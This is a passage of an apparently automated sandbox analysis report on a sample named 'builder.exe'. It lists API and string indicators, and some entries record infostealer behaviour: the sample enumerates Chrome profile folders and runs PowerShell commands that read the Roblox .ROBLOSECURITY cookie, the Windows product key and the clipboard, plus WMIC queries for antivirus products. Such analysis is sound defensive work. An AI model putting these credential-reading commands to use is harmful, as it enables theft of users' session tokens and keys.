and Transport %2. A listener that has the same Address and Transport configuration already exists." (Indicator: "winrm "; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found reference to API "The WinRM service had a failure during migration. %n%n User Action %n Create the configuration again using the WinRM command line tool. %n%n Additional Data %n The error code is: %1 %%%1" (Indicator: "winrm "; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found reference to API "The WinRM service had a failure applying the current configuration and is stopping. %n%n User Action %n Check for previous event log messages and restart the service." (Indicator: "winrm "; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found reference to API "The WinRM service is listening for WS-Management requests. %n%n User Action %n Use the following command to see the specific IPs on which WinRM is listening: %n%n winrm enumerate winrm/config/listener" (Indicator: "winrm/config/"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found reference to API "The WinRM service is not listening for WS-Management requests. %n%n User Action %n If you did not intentionally stop the service, use the following command to see the WinRM configuration: %n%n winrm enumerate winrm/config/listener" (Indicator: "winrm/config/"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp")5d:T5b4,Found string "ncacn_np" (Indicator: "ncacn_np"; Source: "00000000-00001732.00000000.176002.A0DA0000.00000004.mdmp") Found string "+ncalrpc:[OLEA80D2BC85C6CACF52FBCFA76B23B]" (Indicator: "ncalrpc"; Source: "00000000-00002000.00000001.177576.49F50000.00000004.mdmp") Found string "+ncalrpc:[OLEEEB6CCAD3419C91D5784BAB5A44B]" (Indicator: "ncalrpc"; Source: "00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp, 00000000-00002500.00000001.177516.7F1A0000.00000004.mdmp") Found string "+ncalrpc:[OLE84E71A3974660260AB70AD84474B]" (Indicator: "ncalrpc"; Source: "00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp, 00000000-00002500.00000001.177516.7F1A0000.00000004.mdmp") Found string "B+ncalrpc:[OLE84E71A3974660260AB70AD84474B]" (Indicator: "ncalrpc"; Source: "00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp") Found string "+ncalrpc:[OLE4364AB973C612FED61D9B493A94D]" (Indicator: "ncalrpc"; Source: "00000000-00003884.00000000.176630.B15B0000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00003884.00000000.176630.B15B0000.00000004.mdmp") Found string "+ncalrpc:[OLE84E71A3974660260AB70AD84474B]" (Indicator: "ncalrpc"; Source: "00000000-00003884.00000000.176630.B15B0000.00000004.mdmp")5e:T13f2,Found string "kerberosclient" (Indicator: "kerberos"; Source: "00000000-00002000.00000001.177576.53960000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp, 00000000-00002500.00000001.177516.7F1A0000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00003884.00000000.176630.B15B0000.00000004.mdmp, 00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "'Protect Kerberos Service Tickets with AES Keys' - Disabled" (Indicator: "kerberos"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "'Protect Kerberos Service Tickets with AES Keys' - Enabled" (Indicator: "kerberos"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "Kerberos Service Ticket Operations" (Indicator: "kerberos"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "Kerberos Authentication Service" (Indicator: "kerberos"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "To use Kerberos, specify the computer name as the remote destination. Also verify that the client computer and the destination computer are joined to a domain." (Indicator: "kerberos"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "Specify one of the authentication mechanisms supported by the server. If Kerberos mechanism is used," (Indicator: "kerberos"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "To use Kerberos, specify the local computer name as the remote destination. Also verify that the client computer and the destination computer are joined to a domain." (Indicator: "kerberos"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "-Kerberos is used when no authentication method and no user name are specified.%n" (Indicator: "kerberos"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "-Kerberos accepts domain user names, but not local user names.%n" (Indicator: "kerberos"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "The WSMan client cannot process the request. Proxy is not supported when the authentication mechanism with the server is Kerberos or CredSSP." (Indicator: "kerberos"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "Configure service to allow authenticating requests using Kerberos protocol." (Indicator: "kerberos"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "Modify the GP setting "Disallow Kerberos authentication" to either "Not Configured" or "Disabled"." (Indicator: "kerberos"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") file/memory contains long string with (Indicator: "kerberos"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "The WinRM client cannot process the request. The SPN Server Port can only be used when the authentication mechanism is Negotiate or Kerberos." (Indicator: "kerberos"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "To use Kerberos, specify the local computer name as the remote destination." (Indicator: "kerberos"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "The WinRM client cannot process the request. Kerberos authentication is currently disabled in the client configuration." (Indicator: "kerberos"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain," (Indicator: "kerberos"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "Kerberos authentication cannot be used when the destination is an IP address." (Indicator: "kerberos"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "The WinRM client cannot process the request. Kerberos authentication cannot be used with implicit credentials if the client computer is not joined to a domain." (Indicator: "kerberos"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "Use explicit credentials or specify a different authentication mechanism than Kerberos." (Indicator: "kerberos"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "The WinRM client cannot process the request. If you do not specify an authentication mechanism or you specify Kerberos, then you cannot use "localhost" or "127.0.0.1" or "[::1]" for the remote host name." (Indicator: "kerberos"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "You can explicitly specify a different authentication mechanism than Kerberos or specify the remote host as a DNS name or NetBIOS name." (Indicator: "kerberos"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp")5f:T43a,Found registry query API: "RegOpenKeyExW" in file "builder.exe" Found registry query API: "RegQueryValueExW" in file "builder.exe" Found registry query API: "RegOpenKeyW" in "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00002000.00000001.177576.1388A000.00000002.mdmp" Found registry query API: "RegGetValueW" in "00000000-00002000.00000001.177576.1388A000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00002000.00000001.177576.1388A000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00002000.00000001.177576.1388A000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00002500.00000000.176826.C0162000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00002500.00000000.176826.C0162000.00000002.mdmp"60:T7ce,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "builder.exe") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; File: "00000000-00006940.00000001.176861.00821000.00000040.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "00000000-00006940.00000001.176861.00821000.00000040.mdmp") Found reference to API "LookupAccountSidLocalW" (Indicator: "LookupAccountSid"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "LookupAccountNameLocalW" (Indicator: "LookupAccountName"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "LsaLookupNames2" (Indicator: "LsaLookupNames"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "LsaLookupSids" (Indicator: "LsaLookupSids"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "LsaLookupNames" (Indicator: "LsaLookupNames"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "NetWkstaGetInfo" (Indicator: "NetWkstaGetInfo"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "NetUserEnum" (Indicator: "NetUserEnum"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "NetUserGetInfo" (Indicator: "NetUserGetInfo"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "NetWkstaUserGetInfo" (Indicator: "NetWkstaUserGetInfo"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "Win32API|System Information Functions|GetUserName" (Indicator: "GetUserName"; Source: "00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp") Found reference to API "GetUserNameExW" (Indicator: "GetUserName"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp")61:T7f1,"builder.exe" called "FindFirstFileW" with parameter %TEMP%\_MEI50282\*.* (UID: 00000000-00007276) "builder.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\*.* (UID: 00000000-00007276) "builder.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\ActorSafetyLists\*.* (UID: 00000000-00007276) "builder.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\AmountExtractionHeuristicRegexes\*.* (UID: 00000000-00007276) "builder.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\AutofillStates\*.* (UID: 00000000-00007276) "builder.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\BrowserMetrics\*.* (UID: 00000000-00007276) "builder.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\CertificateRevocation\*.* (UID: 00000000-00007276) "builder.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\CommerceHeuristics\*.* (UID: 00000000-00007276) "builder.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\component_crx_cache\*.* (UID: 00000000-00007276) "builder.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\CookieReadinessList\*.* (UID: 00000000-00007276) "builder.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\Crashpad\*.* (UID: 00000000-00007276) "builder.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\Crashpad\attachments\*.* (UID: 00000000-00007276) "builder.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\Crashpad\reports\*.* (UID: 00000000-00007276) "builder.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\Crowd Deny\*.* (UID: 00000000-00007276) "builder.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\Default\*.* (UID: 00000000-00007276)62:T1160,file/memory contains long string with (Indicator: "aes"; File: "2qVI9MCzBA.tmp") file/memory contains long string with (Indicator: "aes"; File: "tinyaes.cp310-win_amd64.pyd") file/memory contains long string with (Indicator: "aes"; File: "Chrome History.txt") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found string "System.Security.Cryptography.Algorithms" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found string "System.Security.Cryptography.Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found string "System.Security.Cryptography.Csp" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found string "System.Security.Cryptography.Encoding" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found string "System.Security.Cryptography.OpenSsl" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found string "System.Security.Cryptography.Pkcs" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found string "System.Security.Cryptography.Primitives" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00002000.00000001.177576.49F50000.00000004.mdmp, 00000000-00002000.00000001.177576.64110000.00000004.mdmp") Found string "system.security.cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002000.00000001.177576.53920000.00000004.mdmp, 00000000-00002000.00000001.177576.53940000.00000004.mdmp, 00000000-00002000.00000001.177576.53960000.00000004.mdmp, 00000000-00002000.00000001.177576.53980000.00000004.mdmp, 00000000-00002000.00000001.177576.539A0000.00000004.mdmp") Found string "md5cryptoserviceprovider" (Indicator: "md5cryptoserviceprovider"; Source: "00000000-00002000.00000001.177576.53920000.00000004.mdmp") Found string "rijndaelmanagedtransformmode" (Indicator: "rijndael"; Source: "00000000-00002000.00000001.177576.53920000.00000004.mdmp") Found string "rijndaelmanagedtransformmode" (Indicator: "Rijndaelmanaged"; Source: "00000000-00002000.00000001.177576.53920000.00000004.mdmp") Found string "tobase64transform" (Indicator: "base64"; Source: "00000000-00002000.00000001.177576.53920000.00000004.mdmp") Found string "system.security.cryptography.x509certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00002000.00000001.177576.53920000.00000004.mdmp, 00000000-00002000.00000001.177576.53940000.00000004.mdmp, 00000000-00002000.00000001.177576.53960000.00000004.mdmp, 00000000-00002000.00000001.177576.53980000.00000004.mdmp, 00000000-00002000.00000001.177576.539A0000.00000004.mdmp") Found string "rngcryptoserviceprovider" (Indicator: "rngcryptoserviceprovider"; Source: "00000000-00002000.00000001.177576.53920000.00000004.mdmp") Found string "frombase64transform" (Indicator: "base64"; Source: "00000000-00002000.00000001.177576.53940000.00000004.mdmp") Found string "frombase64transformmode" (Indicator: "base64"; Source: "00000000-00002000.00000001.177576.53940000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "rijndael"; Source: "00000000-00002000.00000001.177576.53940000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "Rijndaelmanaged"; Source: "00000000-00002000.00000001.177576.53940000.00000004.mdmp") Found string "rsacryptoserviceprovider" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00002000.00000001.177576.53940000.00000004.mdmp") Found string "cryptostream" (Indicator: "cryptostream"; Source: "00000000-00002000.00000001.177576.53940000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "rijndael"; Source: "00000000-00002000.00000001.177576.53940000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "Rijndaelmanaged"; Source: "00000000-00002000.00000001.177576.53940000.00000004.mdmp")63:T9dc,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "builder.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "builder.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "builder.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "builder.exe") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "builder.exe") Found reference to API "__vcrt_GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp")64:T41b,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "builder.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "builder.exe") Found reference to API "__vcrt_GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp")65:T61d,Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "builder.exe") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "builder.exe") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; File: "builder.exe") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "builder.exe") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "builder.exe") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "builder.exe") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "builder.exe") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; File: "builder.exe") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp")66:T68a,Found string "/c "powershell Get-Clipboard"" (Indicator: "Get-Clipboard"; File: "cmd.exe") Found string "/c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"" (Indicator: "Get-ItemProperty"; File: "cmd.exe") Found string "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" (Indicator: "Get-ItemProperty"; File: "powershell.exe") Found string "/c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"" (Indicator: "Get-ItemProperty"; File: "cmd.exe") Found string "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" (Indicator: "Get-ItemProperty"; File: "powershell.exe") Found string "/c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"" (Indicator: "Get-ItemProperty"; File: "cmd.exe") Found string "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER" (Indicator: "Get-ItemProperty"; File: "powershell.exe") Found string "/c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"" (Indicator: "Get-ItemProperty"; File: "cmd.exe") Found string "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault" (Indicator: "Get-ItemProperty"; File: "powershell.exe")67:Te94,Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00002000.00000001.177576.53940000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00002000.00000001.177576.53960000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00002000.00000001.177576.53960000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00002000.00000001.177576.53980000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00002000.00000001.177576.53980000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00002000.00000001.177576.539E0000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00002000.00000001.177576.53A20000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00002000.00000001.177576.53A20000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00002000.00000001.177576.53A20000.00000004.mdmp") Found string "adminpasswordstatus" (Indicator: "password"; Source: "00000000-00002000.00000001.177576.53A60000.00000004.mdmp") Found string "resetcomputermachinepasswordcommand" (Indicator: "password"; Source: "00000000-00002000.00000001.177576.53A60000.00000004.mdmp") Found string "passwordFo" (Indicator: "password"; Source: "00000000-00002000.00000001.177576.64760000.00000004.mdmp") Found string "The specified account's password has expired." (Indicator: "password"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "Unknown user name or bad password." (Indicator: "password"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "Failed to zero secret data." (Indicator: "secret"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "ChangePassword (with knowledge of old password)" (Indicator: "password"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "SetPassword (without knowledge of old password)" (Indicator: "password"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "Create a secret object" (Indicator: "secret"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "Change secret value" (Indicator: "secret"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "Query secret value" (Indicator: "secret"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "The client specified username and password in the request to the destination computer. But the destination" (Indicator: "password"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "when using HTTPS. Username and password must be specified." (Indicator: "password"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "To use Basic, specify the computer name as the remote destination, specify Basic authentication and provide user name and password." (Indicator: "password"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "To use Basic, specify the local computer name as the remote destination, specify Basic authentication and provide user name and password." (Indicator: "password"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "-The user name or password specified are invalid.%n" (Indicator: "password"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp")68:Tb39,Found string "/c "tasklist /FO LIST"" (Indicator: "tasklist"; File: "cmd.exe") Found string "ping" (Indicator: "ping"; Source: "00000000-00002000.00000001.177576.53960000.00000004.mdmp") Found string "systeminfo" (Indicator: "systeminfo"; Source: "00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp, 00000000-00002500.00000000.176826.7F3A0000.00000004.mdmp, 00000000-00002500.00000001.177516.7F1A0000.00000004.mdmp, 00000000-00002500.00000001.177516.7F3A0000.00000004.mdmp") Found string "ype "SYSTEMINFO /?" for usage." (Indicator: "systeminfo"; Source: "00000000-00002500.00000000.176826.7F1A0000.00000004.mdmp") Found string "tasklist /FO LIST" (Indicator: "tasklist"; Source: "00000000-00003884.00000000.176630.B15B0000.00000004.mdmp") Found string "ype "TASKLIST /?" for usage." (Indicator: "tasklist"; Source: "00000000-00003884.00000000.176630.B15B0000.00000004.mdmp") Found string "tasklist" (Indicator: "tasklist"; Source: "00000000-00003884.00000000.176630.B17C0000.00000004.mdmp") Found string "The hostname pattern is invalid: "%1"" (Indicator: "hostname"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "Hostname patterns must contain one or more patterns." (Indicator: "hostname"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "TrustedHosts list contains an invalid hostname or hostname pattern." (Indicator: "hostname"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "The WinRM client could not create a push subscription because there are no listeners configured that match the specified hostname and transport, or because there is no enabled firewall exception on the port used by the selected listener." (Indicator: "hostname"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "Change the hostname and transport, create an appropriate firewall exception, or run winrm quickconfig." (Indicator: "hostname"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "Transport, port and suffix are optional. The host may be a hostname or an IP address." (Indicator: "hostname"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "The WinRM client cannot process the request. The certificate CN and the hostname that were provided do not match." (Indicator: "hostname"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "You may want to use the CHCP command to change the client Code Page to 437 and receive the results in English." (Indicator: "chcp"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp") Found string "The destination computer name must be a hostname or an IP address, and must not be a URL." (Indicator: "hostname"; Source: "00000000-00003884.00000000.176630.B2F70000.00000002.mdmp")69:T455,Found string "%WINDIR%\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"" (Indicator: "antivirusproduct"; Source: "00000000-00007276-00000C47-28869821506") Found string "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName" (Indicator: "antivirusproduct"; Source: "00000000-00006228-00000C47-1185137390") Found string "/c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"" (Indicator: "antivirusproduct"; File: "cmd.exe") Found string "/c "wmic path win32_VideoController get name"" (Indicator: " Win32_VideoController"; File: "cmd.exe") Found string "wmic path win32_VideoController get name" (Indicator: " Win32_VideoController"; File: "WMIC.exe") Found string "SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process" (Indicator: " Win32_Process"; Source: "00000000-00003884.00000000.176630.B15B0000.00000004.mdmp, 00000000-00003884.00000000.176630.B17C0000.00000004.mdmp")6a:T4df,Found string "\Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Indicator: "\Device\"; Source: "00000000-00001004.00000000.176645.14880000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\net1.exe" (Indicator: "\Device\"; Source: "00000000-00001732.00000000.176002.A0DA0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Indicator: "\Device\"; Source: "00000000-00002000.00000000.176672.49F50000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00002000.00000001.177576.49F50000.00000004.mdmp") Found 